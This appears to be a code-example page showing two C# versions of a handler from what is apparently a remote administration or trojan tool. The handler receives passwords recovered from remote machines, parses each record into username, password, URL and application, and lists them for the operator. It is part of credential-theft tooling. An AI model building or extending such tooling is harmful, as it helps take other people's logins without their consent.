Ejemplo n.º 1
0
        public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet)
        {
            if (client.Value == null || client.Value.FrmPass == null)
                return;

            if (packet.Passwords == null)
                return;

            string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);

            var lst =
                packet.Passwords.Select(str => str.Split(new[] {DELIMITER}, StringSplitOptions.None))
                    .Select(
                        values =>
                            new RecoveredAccount
                            {
                                Username = values[0],
                                Password = values[1],
                                URL = values[2],
                                Application = values[3]
                            })
                    .ToList();

            if (client.Value != null && client.Value.FrmPass != null)
                client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc);
        }
Ejemplo n.º 2
0
        public static void HandleGetPasswordsResponse(Client client, GetPasswordsResponse packet)
        {
            if (client.Value == null || client.Value.FrmPass == null)
                return;

            if (packet.Passwords == null)
                return;

            string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName);

            List<LoginInfo> lst = new List<LoginInfo>();

            foreach (string str in packet.Passwords)
            {
                // raw passworddata
                string[] values = str.Split(new string[] { DELIMITER }, StringSplitOptions.None);
                lst.Add(new LoginInfo() { Username = values[0], Password = values[1], URL = values[2], Application = values[3] });
            }

            foreach (LoginInfo login in lst)
            {
                // add them to the listview of frmpass
                client.Value.FrmPass.AddPassword(login, userAtPc);
            }
        }